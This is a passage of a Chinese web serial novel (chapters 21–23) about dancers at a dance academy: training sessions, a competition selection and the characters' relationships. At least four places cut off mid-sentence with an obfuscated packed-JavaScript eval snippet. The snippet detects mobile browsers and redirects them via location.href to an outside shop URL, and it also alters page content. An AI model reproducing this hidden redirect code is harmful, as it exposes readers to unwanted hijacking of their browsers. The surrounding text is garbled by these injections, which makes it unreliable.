晓希知道他嘴上逞强,心里还是好奇。当下不禁轻舒一口气,事情总算还有回转的余地。 “事情就是这样了,我想起和你的约定,就赶紧过来了。”总算解释完,晓希在旁边地上坐下,一副等待宣判的模样。情人都这么做小伏低了,彦承哪里还生得起气来。其实晓希对他好,心里紧张他,他清清楚楚。现在知道了事情的原委,更不能再怪他。陶乐钦是拜师无门才找到晓希,而晓希也曾经在萧泽哥门外几经徘徊,自然明白这其中的苦闷,同病相怜,惺惺相惜,心软帮了他,也是意料之中的事情。 “所以你就当了好人,巴巴地去帮人家练功,自己没练上,也没陪上我。” 不管怎么说,一个美好的夜晚就这么被浪费了。纵然不再生气,彦承也提不起精神,语声也是闷闷的。晓希见状连忙把他揽进怀里,“我这不是来了么,落下的功我会找时间补上的,现在……什么也不干,就陪着你。” “谁用你陪!”心口总归还是不顺畅,彦承翻了个白眼,挣出情人的怀抱。 “你不是没练功吗?我帮你! 现在双腿并拢,坐好!” “哈?”晓希给他闹得摸不着头脑,彦承俊眉一挑,“怎么不听我的?” 吼~~想是孩子气又上来了,晓希苦笑一声,“好好好~~我坐好我坐好。” 将将才摆好动作,彦承一脚踏着他膝盖,一脚踩着他脚背已经站了上来。这一下太猛,晓希吃痛,不禁嘶的一声皱起眉头。身上的人立时就不乐意了,“我又没使劲儿,你痛什么?看在你岁数大了的的份上我已经没垫东西了!萧泽哥压得时候都不见你这样,就知道跟我能耐。” 呵!总算是找到件事儿能出气了,晓希终于不再担心情人生气,双手在身后撑着地,由着他闹,“我又没说疼,你急个什么?” 小孩儿不受激,当下面子就有些挂不住,重心不禁朝一侧移了移,然后眼看着自己脚下晓希的脚尖已经给踩到地上了。 晓希也好久没这么被踩着了,脚背确实有种骨头给拆裂开的错觉,身后的十指情不自禁的抓紧地毯上的短毛,却在情人回过头的第一时间在脸上挂了个微笑。 “怎么啦?看什么?” 彦承看着晓希,那温暖的笑容就好像邻家的大哥哥宠溺地看着弟弟,可是他也看见晓希身后紧绷的双手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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其实这些勾心斗角的事儿萧泽倒不上心,他关心的,是学校选送了谁。正要张嘴问的当儿,服务生端了咖啡过来,萧泽便先把话咽了回去。文筱拿起小勺将摩卡上面的图案渐渐搅开,“知道你想问什么,领导们拿的主意,选了陶乐钦。” 果然和自己料想的一样,萧泽放下到了嘴边的咖啡,“这不妥。” “怎么不妥了?” 萧泽拿出手机递给文筱,“这是这届的评委名单,再加上历年前三甲的履历和作品。柏林这边看中的是扎实的技巧,多变的舞台经验和华丽的舞风。风格和日本大奖赛截然不同,所以他们,未必会买陶乐钦的账。” “说了半天,是替你的好学生说话来了?” 看文筱面色,萧泽知道她是同自己想法一致的,当下也轻松一笑,“晓希是我的学生,可他不是您的干儿子吗?” “呿,”文筱无奈地摇摇头,“钟彦霖还总说你嘴笨,我看啊,你关键时刻也是能言善道着呢。” “可话是这么说,但领导们已经做了决定,我不好去说。再有晓希和我俩的关系,领导会觉得我们徇私。” 文筱的这些顾虑萧泽都懂,可是他不能让晓希失去这次机会。“文姨,我知道您从来不徇私。但这样对晓希不公平。他没给学校拿过奖吗?他表现不出众么?是,去年为了《朔风传》他没去比赛。但学校对陶乐钦百般疼宠也不是一次两次了,晓希到底是孩子,那些领导们要怎么势利也不能这么伤孩子的心。” 21. 第21章 “小泽!” 到底是学校附近的咖啡厅,萧泽话说过了,文筱连忙喝住他。“你自己都不是把奖项看的那么重的人,怎么偏这么惯着晓希。就算是学校对他不公平了,他自己就没点儿问题?要是真能比陶乐钦强上百倍,学校能不推举他?是不是他跟你闹情绪了? ” 萧泽摇摇头,“您知道晓希不是这样的孩子。他怕是还不知道这事儿呢。” 文筱冷哼了一声,“谅他也不敢。要是舞没见跳的怎么样,沽名钓誉的心思倒上来了那就让他回来跟着我练,别让你们一群人惯着他。” 萧泽知道文筱说的也是气话,可他更知道她对晓希向来严苛是出了名,想到晓希平日勤恳的模样,心底不禁暗暗心疼。“文姨,晓希那孩子向来寡言自律,您比谁都清楚。母亲去世好几年,他可是真把您当亲人的。要说严着管,还有我和孔爵,您这当干妈的,就多点慈爱少些严厉吧。” 文筱又何尝不想这样。不是亲儿子,可是当亲儿子看待的。可心里越是亲近,也越是急切地希望他能好。所以一路鞭笞提点,生怕有半点行差踏错,生怕不能把孩子教好,对不起已经去了的人。自己个性又向来厉害,难免对那孩子是严厉些了。 “放心吧”,见萧泽一脸凝重,文筱笑着安慰,“我知道该怎么做,学校那边我去说。” 有了文导的保证,萧泽终于放下心,低头抿了口咖啡,却终于还是忍不住叮嘱,“文导,你我都不会看错,这次晓希一定能拿冠军回来。所以……这个机会我一定要留给他。” 想当年萧泽如何都没收下晓希的时候,谁能想到有朝一日那个如浊世清莲舞者会这样为了他恳求,又有谁能想到,他肯为这孩子如此掏心掏肺。晓希能盼到这一天,之前的那些曲折逡巡便已都不重要了。想到此处,文筱心中轻松了不少,不禁笑着打趣萧泽,“早年让你多说半个字都难,现在为了两个小子,是一个字都不肯少说。” 萧泽被文筱揶揄的一愣,随即便不好意思的低下头,连忙喝咖啡遮掩。文筱看在眼里,不禁笑意姗然。眼前被取笑一两句就兀自不好意思的人,在舞台上,可是有何等惊人的魅力和光芒啊。只是……突然想到这几日团里有意无意传到自己耳朵里的话,文筱一抹笑容凝在了嘴角。 “小泽,我听说,最近团里有两个剧给你,都没接?” “嚄,是。”萧泽点点头,几个艺术指导已经有了微言,也不奇怪文导会知道。 萧泽这个小子,文筱是太了解了,那副和气温顺的外表下可有着自己的偏执。 “怎么?本子看不上眼?” “嗯,都是千篇一律,走不出那个框框。朱导的《朔风传》好,就一股脑的跟着那个模式。” “可你是团里的首席,不跳?干什么?” 团里的现状文筱明白,照萧泽的性子,她早就想到这一层。萧泽对舞蹈的爱太纯粹,没有这样的纯粹,恐怕也没有今日的成就。只是……人不是只活在艺术的世界里。这几年在团里编导,也在舞院授课,行政的活儿也一直管着。人情世故见得多了,还有什么想不开的。这一众小辈,固然想让他们安安稳稳的只做好自己分内的事,但该妥协的地方,容不得太多的傲骨秋霜。 文筱一针见血,萧泽知识自己理亏。只是,他心中所想是自然不愿意如此轻易放弃的。“文姨,我不是不想跳,是想起用一些新进的年轻编导。我的创作和他们的想法不谋而合。他们的作品,也正中我下怀,这也该是舞蹈界另一批新鲜的血液。的确,他们还不够资深,不够成熟。是一班刚出校的学生。新的要上来,要哪个老人退下?这个道理我自然懂。可就是因为有这些把什么外界因素都看的更重的人,团里和学校才会停滞不前,实则,是固步自封。” 一向少语的萧泽放下咖啡,就这样侃侃而谈。文筱望着眼前年轻人眼里磐石般的坚定,知道自己是无法改变他的想法了。是啊,这样闹革新的事情,的确是每过一阵都会有的。更何况是有了萧泽呢。 他就如一株牢牢扎根在土地的大树。无垠的舞蹈的世界是它肥沃的土地。它的根系深入土地,更远,更长,贪婪吸收新鲜的滋养,才生的更荫郁更高茁。若没了这源源不断的养分,如今再怎么茂密也终有一天会枯萎消失。 “舞院就是有这么些个把什么都看的比舞蹈重的人,才会一年不如一年!” 当初,为了陶乐钦拿了专业第一的事,孔爵不也是这样拍着桌子跟自己叫嚷的?这一辈孩子们啊,已经大了,是时候把担子放到他们肩头的时候了…… “文姨?” “哦。” 文筱回过神,抱歉地笑笑,“想你的话想出神了。” 萧泽也笑了笑,神色却不明朗,“不碍的,倒是我,让您在团里难做了。” 无论是学校那边还是在舞团里,自己都被视作文导和秦卿老师的嫡系,学生有错,怎么能不找老师的麻烦呢。自从离了秦老师到团里的几年,一直都是文姨在前面搭桥铺路,严厉也罢,宠爱也有,都是为了自己好。 “什么话。”文筱笑骂,“不要多想。晓希的事儿我跟你打包票,新晋编导的事儿,就要靠你自己了。” 文导已把话说的如此笃定,萧泽知道晓希的事儿肯定错不了了,心下高兴。对自己的事儿,反而不甚发愁,总归不是一朝一夕能改变的事,只能走一步算一步了。 同文筱道别时候还早,萧泽驱车到周围的超市游走一圈,采买了些食物晚上给承儿加菜。养儿方知父母恩,每天看顾着这个弟弟,一边不能落下功课,一边又怕他太辛苦,只能每天变着法子补充营养。想来当初母亲每日温着饭菜等自己放学,再怎么说着吃不下,还是给逼着多吃一口,现在终于明白这一片苦心了。说起来,爸妈移居爱尔兰已经有几年了,自己和彦霖的事,父亲就是不同意也没再说什么,只是几年来少与自己交流。等忙过这一阵,该是很彦霖和承儿一起去看看他们了。 将一干食材放到车里,萧泽看看表,已经快到午饭时间。想起学校里还有两个小子,萧泽便掉头开去学校,趁着周末接他们出来吃一顿好的。 拎着两杯冰饮到了门口,房内却静悄悄地没有半点声音,萧泽透过玻璃一看,不禁一笑,两个小子正并排控腰呢。 脚上抵着沉重的杠铃,双手扬到一位,带着上身直立起来,双腿也要蹬直,一会儿两会儿的还好,时间久了,背上的肌肉就酸痛起来,再一会儿会僵,再一会儿会好像抽筋一样。可是两个小子赛起来竟是谁也不肯先落下。 “放……心吧你……我才…不会……输……”已经累得背上汗水涟涟,彦承却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239519|197666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还不忘在嘴上逞强。 “晓希你由他赢吧!先下来喝杯凉的解暑。” 熟悉的声音打趣彦承,门被推开,果然是萧泽,二人见了都惊喜的不得了,双双迎了上去。 “萧泽哥——”“学长——” 彦承自是毫不客气的拿过饮料大口喝了起来,也不顾背上还酸软的紧。晓希也是接过杯子,却没先喝,有日子没见到学长了,这一见,不免问问最近怎么样。 “我能有什么,”萧泽眼见这孩子下颌越发尖了,语气里不禁带了嗔怪,“倒是你,前一阵子才见壮实点儿,怎么没几天又瘦回去了?可是还没正式开学呢,等真忙起来了我可不得到医务室找你去?” 晓希给揶揄的一怔,刚要开口解释却给彦承抢了话头,“晓希可不是瘦,是都是精肉! 萧泽哥可偏心了,晓希不过又结实了点就心疼了,我可是真的瘦了,也没见有人问。” “你可省省吧,”说起贫嘴来,这个彦承敢认第二,没人敢认第一。晓希懒得理他,却还是细心递过毛巾叫他擦汗,自己好同学长好好聊一会儿 “学长今天怎么有空过来?” “到附近办事儿,看是饭点儿了来带你们吃顿饭。再说,某人有课自己不想着呢,我却不能忘了接他回家。” 萧泽边说着边朝彦承努努嘴,晓希这才想起彦承是和自己提起加了不少家教课。 彦承大口冰饮也喝得正欢,听见萧泽哥说也不禁暗怪自己粗心,和晓希练得忘情,竟给忘了下午还有好几节家教课呢! “萧泽哥……你知道我不是故意的,我真的是忘了……” “行啦,这次我给你想着呢,吃了饭回去还来得及。只是不许再有下次了!” “嘿嘿,遵命遵命!”一听着萧泽哥不怪,彦承这家伙又活泼起来。三下五除二的换了衣服塞进背包里,积极地准备去吃午饭。“萧泽哥,咱“蜀留香”走起来?” 这小子!吃川菜就没有够的时候。萧泽笑着不理他,转身和晓希一起出了门,“晓希想吃什么?” 不顾身后拼命使眼色的情人,晓希故作沉思,说是想吃清淡些的上海菜。萧泽也大表赞同,说起了好几家想吃的餐馆,一路向车场走去,两人聊得甚欢,完全忘了垂头丧气跟着的彦承。可是,这一家子人对彦承的打趣和迁就都有着难说的默契,车子驶出停车场,晓希和萧泽相视而笑,前往的方向还是蜀留香。 彦承自然认得方向,得意了一路,却直等到萧泽把车稳稳停好才故作惊讶地问道,“咦?不是吃上海菜吗?嘿嘿,我就说你们对我好。” 得了便宜还卖乖,萧泽和晓希抿着嘴走在前面,却不防彦承一下子从后面扑上来,揽住两个人肩膀,“我说,都欺负我一路了,该歇歇了吧,你们俩老在那儿谋划什么呢?” 萧泽一耸肩膀将他颠了下去,“晓希和我说方才和你练功觉着你退步了,我也想起来最近没怎么给你上基训。你中午吃饱些,免得下了家教晚饭前没力气了!” 仔细打量着萧泽哥一本正经的表情,彦承面部的神经不自觉的抽动了下。其实……最近挺用功的呀?越想心里越发毛,不禁对晓希怒目而视,到底是为了什么这么抹黑我?可是目光所及那家伙竟是在憋笑,彦承才恍然大悟是又被涮了一通! 小孩将跳到喉咙口的心脏压了回去,满心的紧张都化为一句无奈的求饶,“我说……咱不闹了成吗!!” 22. 第22章 周日晚上的练功房总是最抢手的,陶乐钦写日记忘了时间,不过晚来了一个小时,练功房已经差不多都给占满了,包括自己常去的那间。陶乐钦在走廊里溜达了一阵,不见会有空出来的意思,只得无奈离开。前脚才踏出教学楼,后脚就想起了文导允许他可以去练功的那个地方。自己曾在那里日日等待一个人,然后毫不顾忌地冲到他面前请他做自己的老师,然后被狠狠地打击。从那一刻起,就已经暗下决定,在能够符合他的眼光之前,自己不会再踏入那间房,绝对不。 其实他曾想过,到底是为了什么,就有了一定要成为孔爵的学生不可的想法。也许是因为和老师如此神似吧,所以有了那样的冲动,然后在他斩钉截铁的拒绝自己之后,就更加非要入他门下证明他看错了。可归根究底呢,想就是想了,心底有了那样的想法和欲望,就应该遵从着心去努力啊。 天色已经暗下来,陶乐钦从思绪中回过神,已不知不觉地走到操场边。这个时间操场上自然再没什么人,想来也是无处练功,索性走到一旁的肋木上,闲来无事压压腿。一只腿搭上去,一只腿远远地滑开,超过一百八十度不远的地方,韧带传来提示般的疼痛,陶乐钦不自觉的皱起眉头,险些忘了就是昨日这两条腿还受过林晓希的折腾呢。伏下上身紧紧抱住前腿,摆正姿势,一点点向下振动,在双腿已经叫嚣疼痛的时候依然无动于衷的耗在那里。 技术技巧是他的弱点,但只不过是输给那些尖子一些,并不代表作为一名专业舞者该有的程度他没有;他是不喜欢机械地练功,可那并不代表他没吃过舞蹈的苦。从前跟着老师的那六个月,再怎么不情愿也都被压着练习,才能让自己在老师离开之后一路敷衍到今时今日还能有过得去的水平。疼么?累么?这世上有哪些事不疼不累的?生病了打针不痛吗,打球扭伤脚不痛吗?还不都是一样,又有多难忍了。 闭上双眼,腿根处撕扯的程度仿佛能在脑海中清楚描绘出双腿的极致伸展,许是受到这想象中的画面鼓励般,陶乐钦紧握着自己的脚踝放松,让身体进一步的拉伸,尽管疼痛更加剧烈,但这疼痛也伴随着看得见的进步。 从前不去做的事情,只是因为不愿罢了,现在为了一个目标,他是多苦的黄莲都咽得下,多高的山都翻得过的。 孔爵独自走在舞院的林荫小路上,在树下深吸一口夜晚的空气,这就是母校熟悉的味道啊。从郊区父母的住处回来,一顿丰盛的晚餐让他撑得连驾驶位都坐不住了。只是还不想回到只有自己一个的公寓。车子路过舞院,孔爵突然兴起,便把车停到学校边,一路走了进来。 大概是很久之前吧,自己从练功房出来,夏日深夜的空气,就是这么个味道。一晃,都这么多年了。久到自己已不是个恣意飞扬的少年,身边的人,也越来越少了。孔爵默默迈着步子,耳机里的音乐换到下一首,只听了个开头就不自觉地笑了。卡萨布兰卡,自己跳过,也教彦承跳过,想起那小子一副狼狈相,咬牙切齿地跟着自己练的画面,笑意不禁更甚。教过这么多孩子,就这个臭小子和自己最合拍。思思和林晓希一个听话的要死一个自律的要死,自己那些收拾人的高智商都用不到。哈哈,说起来,自己年少时,不也曾在某个人的小竹棍下摸爬滚打地练这一支舞吗。 想起那个人,那个黑着面色拿着小木棍逼迫自己的样子,孔爵一脸轻松不禁变为苦笑,“我的小叔叔啊,你到底是去了哪里?” 是一个人过的清清冷冷,还是两个人过的幸福美满呢?亏是走的时候还悄悄留给自己电邮的地址,这些年来,自己疲惫时,困惑时,思念泛滥时给你发的那些邮件不还是石沉大海,哪见得着一封回复了? 不知何时走到了篮球场边,孔爵停下脚步。黑暗中,仿佛看得见一班飞扬少年在场上拼抢跳跃。对方投篮未中,自己高高跳起,将球揽入怀中,一个转身,运球到三分线外,出手,篮球完美入网。好友兴奋的揽着自己的头一阵猛搓,自己顶着乱了的发型一脸得意…… 想到这里,孔爵突然小跑到篮下,纵身一跃,已经抓到篮筐。松开手落地,篮筐还颤动出一阵声响。哈哈,改明儿,是该叫钟彦霖和萧泽出来打场球了。 眼看着时间也不早,是时候回家了。转身离开之前,孔爵忍不住再忘一眼偌大的操场和篮球场。只是场边?似乎还有个身影。现在的孩子啊,真是不正常,有练功房不去,大半夜在操场上耗什么腿。走近了几步,那孩子也站起了身,孔爵远远看见,不禁皱起眉头,那孩子……竟然是陶乐钦。 怎么会是他呢…… -------------------------------------------我是转情景无能的分割线———————————— 喝过咖啡后的几天,萧泽收到了文筱的好消息。林晓希也第一时间收到通知,即刻积极备战,不能有闪失。大家本都以为学校一定会选陶乐钦,谁也没想到,最后这一次机会,还是给了林晓希。 晚上一回到寝室,上铺的郑钦已经迫不及待的开始祝贺了。“我说亚历山大,我以后可以这么叫你了不?咱一整个舞院儿都瞅着呐,你要是拿不到个名次……哼哼! 咦!有暗器!” 郑钦朝后一闪,抓住从下铺抛上来的汗津津的练功服。 “我是压力山大,你还给我添堵。” “嘿,” 郑钦爽朗地笑笑,“我是逗你呢。你实力坚强,咱附中一起上来的兄弟都给你加油鼓劲儿呢。你不是和那个小晴一起去比?男女组冠军咱一起都能捧回来。” “呵,借你吉言吧!” 林晓希不是玩笑,这一次,真是背负了太多人的期盼。文导,学长,彦承,这一班同学…… 换了干爽的练功服又出门去,等下要见到陶乐钦,都不知该要作何反应。 走在路上,是彦承打了电话来,晓希接起来,听筒里是那永远元气十足的声音,“晓希我可听说了,你现在是不是偷着得意呢?这回咱俩可是一个赛着一个忙了。” 晓希苦笑,身边的人越是替自己开心,自己心中这块石头就越重。 “嚯,听着声音这么精神,今天是没累着。” “谁说,我今天可忙呢!一早起来就练功,然后…………” 这家伙一讲起来是滔滔不绝,晓希索性听着,没一会儿就已经走到练功房门口。踮起脚尖顺着窗户一看,陶乐钦已经在里面,晓希指指手里的电话,示意他等一会儿。 如此又聊了几句,晓希趁着彦承停顿的空当,提醒他自己要去和陶乐钦练功了,不能陪他继续聊下去。彦承自然有些遗憾,他知道晓希忙,可一天就这么一会儿时间能说上话,错过了,不免又要等到明天了。 听筒里已传来断线的“嘟”声,彦承望着屏幕上自动收起的通话界面,不情愿的撇撇嘴。帮陶乐钦练功……等有朝一日自己考进了舞校,他最好也能这样勤劳陪自己练功。放下电话,彦承低头看着满桌的习题不禁长叹一口气,自从决定开始学舞,竟然没有一件事是轻轻松松就可完成的。从前自己上学时候哪里会在学业上花十分的心思,说不上三心二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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小孩笑着送哥哥离开,关上门,不禁对着那一叠习题叹了口气。快点做完吧,早点做完早点去练功,就能早点睡了。 走廊尽头的练功房,灯还是亮到那么晚。晓希望着大口呼着气的陶乐钦,“还要练么?” 陶乐钦毋庸置疑地点点头,“不是还没练跳么,继续吧。” “可是你今天好像不在状态。”“没有的事,状态是练出来的。” 晓希无奈,只能重述一遍动作要领,又做了次示范,好让陶乐钦来跳。只是那身子腾跃的一瞬间,林晓希不禁狠狠地皱起眉头,“你停下。” 陶乐钦不耐地挑起眉,“怎么?” 就算自己做的再不标准都好,也犯不着有这样的反应。可是林晓希竟是收拾东西,有了不预备再练下去的架势。 “你——” “你拉伤了肌肉,为什么不说?” 还以为是什么是,陶乐钦松了口气,“我自己耗腿时不小心拉伤而已,常有的事,有什么大惊小怪。又不是不能练功了。 ” “不是不能练,但也不该有这么大的运动量。” 林晓希言罢从背包里拿出瓶药酒随手递给了他,“用这个按摩挺有效的,你拿着用吧。” 一瓶药酒沉甸甸压在手里,陶乐钦低头打量,是很中国的跌打药酒,“你随身还带着这东西?” “怎么会。” 说话间林晓希已经收拾妥当将背包挂到肩上,“除非是真练得狠了,不然我也不惯用。是彦承来看我非要我收下,确实有用,你留着吧。” “也好……” 陶乐钦紧握着玻璃瓶点点头,眼见林晓希已经开门出去,心里有种莫名的感觉,说不出,是不是感动。 23. 第23章 十几年如一日的,等待自己洗澡时候的萧泽,总是在同样的位置做着同样的动作,看着不一样的书。彦霖从洗手间出来,来了兴致一下子扑倒在床上,在床边探出半个头,“在看什么?” 萧泽难得见情人如此孩子气,笑着揽住他脖颈,“怎么?还要我夸你一声调皮不成。你听的下我可说不出口——啊!” 萧泽话还未说完,彦霖便借势揽着他狠狠索了个神马,直神马的萧泽伸手锤他才不情不愿的松开。“这个神马,是作为你洗完澡还不休息的惩罚。” “哦?是吗?” 萧泽一个翻身跃上床呵起彦霖的痒来,彦霖最是怕痒,连忙奋力反抗,两人一阵玩闹,直累得筋疲力尽倒在chuang上。 “学校的事儿,怎么样了。晓希的事儿都解决了,你也是时候该为自己着想一下。” 彦霖扬开一边手臂,萧泽默契的躺了过来,“放心,我今天已经和团里的领导谈了,他们同意我做自己的舞剧,场地没问题,但是演员要让团里的正剧先挑。不过怎么都好,这事儿,也总算有个好的开端了。” 钟彦霖了然地点点头,不禁紧了紧揽着萧泽的手臂,他越来越觉得觉得,情人这副瘦削肩膀上所抗的担子,实在是太重了。“排舞剧归拍舞剧,不过可说好了,别让自己太累。晓希和彦承都还得照应着,当自己铁打的?”“放心吧,我心里有数。” 不愿情人再多问担心,萧泽关了灯,随手把方才打闹时缠到身下的薄被拿出来给彦霖盖上,“好歹盖着点,别贪凉明天肚子疼了。” “嗯,”彦霖侧过身,从身后抱住萧泽,“自从开始照料承儿,我这个‘大孩子’也得到不少关照呢。” 萧泽微微笑着,没有做声,眼神只落在窗外月光透过窗帘打在衣柜上的点点斑驳上,半晌,才轻声叹到,“彦霖,忙完这一阵,我想去爱尔兰看看爸妈。” 只是,未曾等到情人的回答。嚯,这么快已睡着了吗?明早一定要以这惊人的睡觉速度好好嘲笑他。萧泽无声笑了笑,也终于闭上眼睛,远离一日的疲惫,将自己交托与沉沉的梦乡。然直到他的呼吸已渐均匀深沉,彦霖方在黑暗中摩挲着情人柔顺的短发。究竟是心中太苦了吧。这十几年来,萧泽的疼痛、挣扎、无力和倔强他通通见证,浓重的无力感却愈发将自己吞噬。除了常伴左右,他还能做什么帮情人分担半分? 和陶乐钦一起练功的不知道第几个晚上,林晓希站在温热的水柱下忽然想起又到了周末,是彦承来看自己的时候了。时光的匆匆流过不免让人觉得惶然,日子过得太快,快到自己此刻才意识到,这一周来,自己竟不知不觉中冷落了承儿。 舞校里的激烈竞争从未停止,而自从被推选去参加比赛的消息放出来的一刻起,时时刻刻,如芒在背。和老师排舞,陪陶乐钦练功,全心应对学校的功课,回到寝室已经累得合上眼就睡得着。每日飞奔忙碌之间,同彦承通话的时间越来越少,有时,两三天都顾不上联系一次。哎……希望这小子不要太介意吧。 回寝室一头栽倒在床上,四肢百骸传来的疲惫感几乎将人吞噬。人累到极致,其实该是睡不着的,每一处关节的都好像被注射一剂毒液,沿着接缝处酸酸麻麻地一点点散开。林晓希强撑着爬起来从背包里掏出手机,半则短信都没有,这小子果真是闹脾气了。 蹑手蹑脚的出了宿舍,到了楼梯间的缓步台。电话里等待接通的“嘟”声重复了几次,还是没人接起来。突然想起什么似的看看表,晓希不禁暗笑自己糊涂了,都十二点多,承儿该是已经睡了。等明天见面吧,好好哄哄这小子。 第二天下午,上完了一上午课已经头昏眼花的彦承在家里等到了孔爵。一开门,映入眼前的便是一大袋子外卖。彦承迟疑的接过外卖,孔爵一个闪身已经进来了,“知道今天没大人在家,估计你最近该是又想这口了。所以……” 彦承眼睛一转,连忙扒开袋子,果然是自己最中意的那家川菜馆。 菜香味散逸出来惹得两人食指大动,彦承忙不迭的取了碗筷来,下一秒钟已经冲到餐桌前大快朵颐。孔爵一边品味着水煮鱼一边打量着彦承,平时到了这个点,这家伙早已换好衣服,急匆匆地催自己赶快出门。今儿倒是反常,练得一身汗津津,连练功服也都没换下来。觉着这事儿有蹊跷,孔爵一筷子夹住了正朝口水鸡使劲儿的筷头,彦承诧异的抬起头,“干什么吗啊?” 孔爵挑挑眉,松开筷子。“看你今天不对,不去看晓希了?” 彦承的神色突然不自然起来,却还是故作无事道,“我还有支舞没练好,萧泽哥等会儿会回来,我想再练半天。” 呵,许是小两口吵架了吧,脸上掩不住的不满,还能叫人看不出来。孔爵无声笑了笑,有时候,对这些少年人们鲜活的脾气还真是有种说不出的羡慕。 风卷残云地吃完这一餐饭,孔爵叫彦承去休息会儿,自己百无聊赖地收拾着残羹剩饭。思思不在的这一个月,自己越发过的像个孤家寡人了,看来那小东西在自己心里的重量早已超出了想象。 才将一切收拾妥当就听见门锁的声音,孔爵知道是萧泽回来了,便从沙发上高高挥舞着手臂。 “抱歉啊萧泽,我不是不请自来,是被你们家的小鬼摆了一道。” 萧泽还正诧异门口多出来的一双鞋,听客厅里传来孔爵的声音不禁抿着嘴把要是扔到壁炉上,一路朝客厅走过去。 “你来的正好,我有一个大忙,可得请你帮呢!” “哦?” 孔爵饶有兴趣的仰起头,等着下文。 “你知道我最近在排新的舞剧,男一号,非你莫属。” “我都多久没上台了,功都废了,可挑不起这大梁。” 萧泽却是全然不信孔爵的这套说辞,孔爵哥的性子他太了解,那放荡不羁的外表下是几乎迂fu的坚持,说他扔了一身功夫,怎么可能呢。 “孔爵哥,你要是因为想把男一号让给我可就想错了,舞剧的构思是我和编导系的新毕业生一起写出来的,我说非你不可,就是非你不可。你就当……是帮学弟一把。” 孔爵斜睨着萧泽半晌,见他满脸诚挚,最后只能点点头,“真是怕了你了”。其实萧泽在团里的事儿,他也听文导说个七七八八。领导能同意做新舞剧,这其中必定有萧泽万分的坚持。因此他孔爵早做好了只要萧泽有需要他就全力以赴的准备,这是他作为一代舞蹈人必须给萧泽的支持。只是他并不愿抢了学弟的风头,在事业上升期,这个男一号不能随随便便就让给别人的。只是……孔爵看的出他眸子里的诚挚,既然他觉得这样的安排是最好,自己也不再有其他意见。 萧泽知道自己这个学长是绝不会拒绝他的,当下就兴奋地站起身来。 “孔爵哥你下午别走了,等我给承儿上完课,咱们好好讨论讨论!” ---------------------------------------------------------------------------------------------------------- “过来,再压压肩。”一套热身下来,萧泽招呼彦承到把杆旁做着最后的活动动作。少年没有应声,只乖顺地跑过来,双手扶着把干,上身塌腰沉了下去。萧泽扶着他背振压了几下,还算满意,便拉了他身子起来, “滑叉。” “嗯。” 彦承撩起腿搭在把杆上,身体往前微微一送便滑开一个漂亮的弧度。萧泽点点头,轻声提点, “胯摆正了,我要看横叉。” 少年听话的转过身体,膝盖和脚尖都紧紧绷着。萧泽从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239521|197666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身后架住他双臂,一只脚踏上腿根,缓慢的踩了下去。许是对承儿的程度有信心,萧泽一路踩下去,感受得到肌肉和韧带强大的弹性。除了撕腿,平时本是踩不到底的,萧泽在临近地面的地方又试探性地最后使了回力,腿根接触到地面的一瞬已经又轻轻弹了回来,彦承没怎么觉得痛,身后萧泽哥也已经松开他了。“嗯,今天这个滑叉不错,起来,换另一边。” 难得得到萧泽哥的夸赞,彦承心底不禁荡漾开那么一丝丝小开心,面上,却无论如何都笑不出来。直到轻松的完成另一边,开始抠成舞的动作,萧泽哥方才还温和的语声里突然带了严厉,“热身走走神儿就算了,现在起打起精神来!” 起舞的第一个动作,萧泽哥就已经喊了停。 “胸腰挺起来,肩膀别转,手臂送出去。好,继续……” “头朝七点歪一点,对,手臂放松,别这么僵硬。” “中腰立起来,这里不是塌腰的动作!” “脚背!膝盖!” ………… 一个个动作抠下来,萧泽哥的脸色越来越难看。“算了,停下来。” 直听到这一声彦承才猛地回过神来,自己真的把萧泽哥惹生气了。 “今天跳舞,整个神都是散的。之前抠过的动作,还是错在同一处。叫这样下去,什么是能练出来。 ” “对不起……” 彦承低着头,除了一句道歉再说不出别的。其实他已经很努力专心去跳了,可不知怎么,跳着跳着,心思就飞了。 “我不止一次说过,不要把个人情绪带到练功房里来。你自己练吧,练好了再来找我。” 练功房的门已经关上,萧泽哥的背影消失在门外。彦承有些垂丧的走到把杆旁,他是真的不愿意让萧泽哥失望的。 拿出手机,有好几个未接呼叫,自然都是晓希打过来的。让我不能专心学习专心练舞的罪魁祸首就是你啊。彦承对着手机自言自语,最后还是回拨了回去。可是……连打了三个都是未接。彦承一股火窜上来,不禁扔了手机在地上猛做起了两头起,希望甩啊甩啊能把满心的愤懑甩出去。 练功房的门“吱呀”开了,孔爵的声音先一步传了进来。 